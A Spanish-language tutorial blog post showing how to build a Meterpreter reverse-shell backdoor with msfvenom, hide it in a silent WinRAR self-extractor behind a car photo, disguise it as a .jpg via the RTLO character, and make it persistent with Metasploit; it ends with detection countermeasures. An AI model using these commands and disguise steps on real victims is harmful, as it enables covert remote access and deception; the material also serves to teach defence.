Crear una backdoor persistente enmascarandola con el caracter RTLO

Hola a todos!!

Tras unas semanas de desconexión (y sobre todo con dolores de espalda y cuello), he sacado un poquito de tiempo para enseñaros una cosita un poco peculiar que en su momento me llamó la atención.

Siempre habréis escuchado que no es recomendable o que no descarguéis y menos ejecutar archivos de lugares no fiables o de no confianza (cosa que todo el mundo hacemos ¿no? 😆). Yo antes era así; -“bah, yo tengo cuidado, sé de donde descargo”; -“Si es un pdf o una imagen o algo por el estilo no pasa nada, mientras no sea un .exe o un formato raro, no pasa nada… ¿no?“.

Bueno, la cosa más bien, es un poco distinta. Este post no está centrado realmente en como hacer una backdoor (que ya que estamos, también), sino más bien, en cómo nos la pueden colar y bien colada, si no tenemos un mínimo de cuidado al momento de, por ejemplo, visualizar una imagen.

Desde el punto de vista del atacante, se describirán a lo largo del post, los pasos que podría hacer, así como, las herramientas y entornos usados.

Utilizando msfvenom que recoge desde Junio de 2015 todas las utilizades de las herramientas Msfpayload y Msfencode, en un mismo framework, se podrá crear el payload. El comando a utilizar será por ejemplo:

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.36 LPORT=4444 --platform windows --arch x86 -f exe > reverse_tcp.exe

Pero antes, es necesario saber que estamos haciendo. Echando un vistazo en la ayuda de msfvenom, se puede observar que significa cada parámetro de entrada que acompaña a la llamada del comando.

Ayuda de msfvenom.

Por tanto, nuestro comando indica que el payload a generar será de tipo meterpreter usando conexión reversa mediante TCP bajo el sistema operativo windows. Los payloads de meterpreter tienen la peculiaridad de que usa inyección DLL en memoria y es por eso que a veces se hacen dificiles de detectar. Me he decantado por este payload porque es el típico.

Además, se le indica la IP local, es decir, la IP de nuestra máquina, que para este entorno controlado usando máquinas virtuales, la IP de mi máquina (atacante) es 192.168.1.36 (usando ifconfig podéis mirar la IP), recordando que esta IP está solo disponible en redes internas o privadas (del router hacia dentro). Por otro lado también se le indica el puerto por el que se va abrir la comuniación TCP (por ejemplo 4444).

De igual forma, se le indica la plataforma, esto es, windows y la arquitectura x86, aunque es son parametros opcionales.

Por último, el formato de salida, en este caso tipo ejecutable (exe).

Todo esto se redirige hacia un path específico, también se puede usar -o tal y como dice en la ayuda para guardar el payload en la ruta+nombre.formato especificado.

Podría seguir explicando algunas cosas más sobre msfvenom, así como de meterpreter (ya que hay mucho trabajo y estudio detrás). Por ejemplo, para saber que tipos de payloads hay, así como, encoders, arquitectura, plataforma, etc, se puede utilizar –list <tipo> para listar todos los posibles, payloads, encoders, arquitectura, plataforma, etc; para no alargar demasiado, iré un poco al grano. Algún día hablaré más del tema en un post.

Finalmente ya tendríamos el payload reverse_tcp creado.

Payload reverse tcp creado.

Este payload sería el que la victima ejecutaría, pero la victima eso no lo sabe, es decir, la podríamos a sociar a una imagen (por ejemplo), para que cuando se abra la imagen ejecute el payload sin que la víctima sea consciente.

Este punto se puede hacer de diversas formas; yo utilizaré una de las formas básicas (y un poco antigua) que hay, y es “bindear” la imagen al payload mediante un SFX, es decir, un auto-extraible que se puede generar con Winrar. Pero también se puede generar con otras herramientas, por ejemplo, con AutoIt, aunque aquí no haría falta hacer el payload con msfvenom; directamente con un script, esta herramienta sería capaz de compilar un script au3 indicándole la imagen asociada y el payload. Por comodidad usaré Winrar.

Ahora solo falta buscar una imagen que sea atractiva a la víctima. Yo he buscado una, pero podría ser cualquier otra.

Ford Mustang GT que hará de trampa.

Con la imagen elegida, se deberá de convertir en icono usando el conversor online ICO Convert. En este punto, tenemos el icono, la imagen original y el payload por lo que ya podremos pasar al punto de usar Winrar para crear el SFX.

Seleccionando la imagen original y el payload, lanzamos Winrar para añadir ambos al nuevo archivo SFX. Para ello habrá que seleccionar Crear archivo SFX y escribir un nombre apropiado, por ejemplo FordMustang.exe (luego se podrá cambiar).

Añadir al archivo SFX.

Ahora que vamos a crear un SFX se habilitan nuevas opciones en la pestaña Avanzado > Opciones SFX. Se abrirá una nueva ventana donde comenzaremos a configurar en la pestaña Configuración > Ejecutar después de la extracción y añadiremos los dos archivos (imagen y payload) que queremos que se ejecute tras la extracción.

Pestaña configuración avanzada SFX - Setup.

Continuamos con la pestaña, Modos donde seleccionaremos que la extracción se haga en una carpeta temporal, y activamos el modo silencioso en ocultar todo.

Pestaña configuración avanzada SFX - Modo.

Pasamos a la pestaña Texto e icono e indicamos que carge el icono que antes se ha creado.

Pestaña configuración avanzada SFX - Texto e icono.

Por último, en la pestaña Update asignamos el Modo de actualización a “Extraer y reemplazar archivos” y en el Modo Overwrite a “Sobreescribir todos los archivos”.

Pestaña configuración avanzada SFX - Update.

Ya estaría todo, le damos todo a aceptar y tendremos ya listo el SFX.

Resultado final del SFX.

Ahora diréis, “pero, ¡si es un exe!“, sí, pero ahora entra en juego el caracter RTLO (Right To Left Override). Este caracter es un caracter Unicode (U+202e) que se usa para leer texto Árabe, Hebreo, etc. Pero en determinados casos puede hacer mucho daño, y éste es uno de ellos.

Para usar dicho caracter, se puede usar el típico mapa de caracteres, en Linux por ejemplo “Character Map” y en Windows, de igual forma “Character Map“. Como estamos ahora en Windows os muestro una imagen.

Mapa de caracteres mostrando el caracter RTLO.

Ya que la función del caracter es hacer que todo lo que hay a su derecha haga un flip en sus letras, se colocará en un lugar específico. En nuestro caso, tenemos: FordMustang.exe y queremos convertirlo para que tenga terminación .jpg. Para que esto suceda habrá que colocar las letras JPG a la inversa, es decir, GPJ para que cuando se haga el flip, quede JPG. Colocando el caracter RTLO antes de la letra G. ¡Mirad como queda!

Efecto del caracter RTLO

Yo me quedé así cuando lo descubrí 🤤. Y claro podés decir, vale, está el nombre exe delante, pero recordad que no solo con un .exe se puede ejecutar código, se pueden usar: .bat, .cmd, .com, .ink, .pif, .scr, .vb, .vbe, .vbs, .wsh. Además, es probable que usando un poco de imaginación, uso de palabras y quién sabe si algún otro caracter en combinación con RTLO es posible cambiar el texto de tal forma que sea dificil distinguir este tipo de enmascaramiento.

Final, y desgraciadamente, el payload está oculto por un SFX y a su vez enmascarado por el RTLO. Si esto llega a la víctima y lo ejecuta, verá la foto del Mustang GT que se ha elegido como cebo, pero ya ha ejecutado el payload. El resultado queda:

Resultado final usando RTLO

Volviendo a la máquina del atacante, que estará esperando a que la víctima “visualice” el Mustang GT que le va a vender, estará con Metasploit esperando a que se abra la comunicación TCP por parte de la víctima.

Msfconsole lanzado. Metasploit.

Como el atacante sabe el tipo de payload que ha creado, habrá configurado Metasploit de la misma forma, para que pueda comunicarse correctamente, es decir, habrá seleccionado el handler adecuado encargado de la comunicación TCP y el resto de parámetros con el que se creó el payload.

Metasploit preparado y escuchando el puerto 4444.

Una vez que la víctima ha “visualizado” la imagen, el atacante recibe respuesta de la víctima y abren la comunicación TCP.

Víctima ejecuta el malware sin darse cuenta.

Una vez abierta la conexión reversa, podemos saber información del sistema con sysinfo.

Información del sistema de la víctima.

En este punto, vamos a hacer que la backdoor sea persistente, ya que de lo contrario, si la víctima apaga el PC, la conexión se perdería siempre y cuando no vuelva a “visualizar” la imagen. Para evitar esto, habría que usar un script en Ruby llamado “persistence” escrito por Carlos Perez. Visualizando la ayuda:

Ayuda del script persistence.

Por lo que viendo esto, nuestro comando será:

 run persistence -U -i 5 -p 4444 -r 192.168.1.36

Esto es, que cada vez que la víctima inice sesión, el backdoor intentará abrir la conexión cada 5 segundos a la dirección 192.168.1.36:4444. El intervalo a elegir dependerá de lo que el atacante desee, si desea que sea un poco más sigiloso quizás con 5 min está bien, si el intervalo es pequeño hay más probabilidad de que sea detectado.

Script persistencia lanzado.

Si ahora la máquina se reinicia, el atacante pederá la conexión, pero volverá a lanzar el comando en Metasploit, “exploit” que volverá a abrir el puerto de escucha, para que cuando la victima inicie sesión de nuevo, se vuelva a abrir la conexión.

Desgraciadamente con todo esto, se ha conseguido engañar a la víctima e instalar una puerta trasera que siempre estará activa y esperando a que reciba respuesta del atacante para abrir una conexión reversa.

CONTRAMEDIDAS

Visto esto y sabiendo hasta qué punto se puede llegar (creo que a cualquiera le daría un poco de inseguridad), hay algunas contramedidas para detectar esto, por parte de la víctima para evitar que no ocurra (al menos hasta donde yo sé). Es decir, saber que lo que esta apunto de visualizar, abrir o ejecutar, sea legítimo o no.

Por un lado, el caracter RTLO funciona en unas ciertas circunstancias, el ejemplo que he mostrado es en una carpeta cualquiera (excepto en una carpeta en Red que daría un aviso al intentar ejecutar un exe aunque nosotros, como víctima, no lo sepamos). Por el contrario, si ese archivo que has recibido, lo colocas en el escritorio, el caracter RTLO no funciona. Además, si nos fijamos en detalles, nos dirá que es tipo aplicación y si vemos sus propiedades nos dirá que es un .exe

Detección de posible malware.

Si en algún momento tienes duda, de si la has liado o no, siempre puedes mirar cuáles son las comunicaciones activas en la máquina y cual es su PID asociado y cerrar el proceso con un taskkill -PID <processID> /F, esto es con netstat -o -a. Además en el administrador de tareas podrías ver procesos con un nombre un tanto extraño. Si el payload persistente está lanzado pero no ha conseguido conexión con el atacante, en el administrador de tareas, podrás ver como aparece un proceso con nombre extraño, lanzandose y cerrandose (esto es debido al intervalo al crear el persistence). Una vez que se ha podido establecer la conexión, se quedará constante.

Proceso intermitente y proceso fijado en el administrador de tareas y netstat.

Para evitarlo, si vamos a configuración del sistema MSCONFIG podremos detectar que hay algo extraño configurado para lanzarse al inicio del sistema. Y que además tiene ruta de lanzamiento el TEMP.

En MSCONFIG aparece una configuración de lanzamiento del malware.

Si notamos esto, lo mejor es borrar esa entrada de inicio y por tanto borrar el TEMP de nuestra máquina.

Como podéis ver, hay varias formas de detectar que algo raro está sucediendo. He de decir, que seguramente no todas las backdoor trabajan de la misma forma, pero con las pautas que he comentado, algo de información se puede llegar a extraer. Como siempre como recomendación, es tener un antivirus, tener el UAC (User Account Control) activado al máximo, y tener todo el software actualizado, sobre todo Windows, y recordad que la última palabra, la tenéis vosotros.

Desgraciadamente, la mayoria de las personas que usan un ordenador no tienen un conocimiento al menos, nivel medio, para que en caso de estar en una situación así, pueda evitarlo. Debido a estas situaciones, siempre es bueno compartir los conocimientos que uno ha aprendido e intentar combatirlo.

Con respecto a la creación de la backdoor y el resto de posts de Allhacked, en NINGÚN MOMENTO Y POR SUPUESTO mi persona NO se hace responsable de un mal uso tal y como dice en las políticas de Allhacked. El mal está ahi fuera, pero no aquí; este post va enfocado a enseñar lo malo (para saber como funciona) y como se podría combatir.

PD: Perdonad tantas imágenes, pero quería ser claro. También os recuerdo que el Allhacked incluido sus posts (incluido éste), están disponibles también en Inglés.

Espero haberme explicado con claridad y espero que os haya gustado. Nos vemos en el siguiente post! 😉

Happy Hacking!



Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *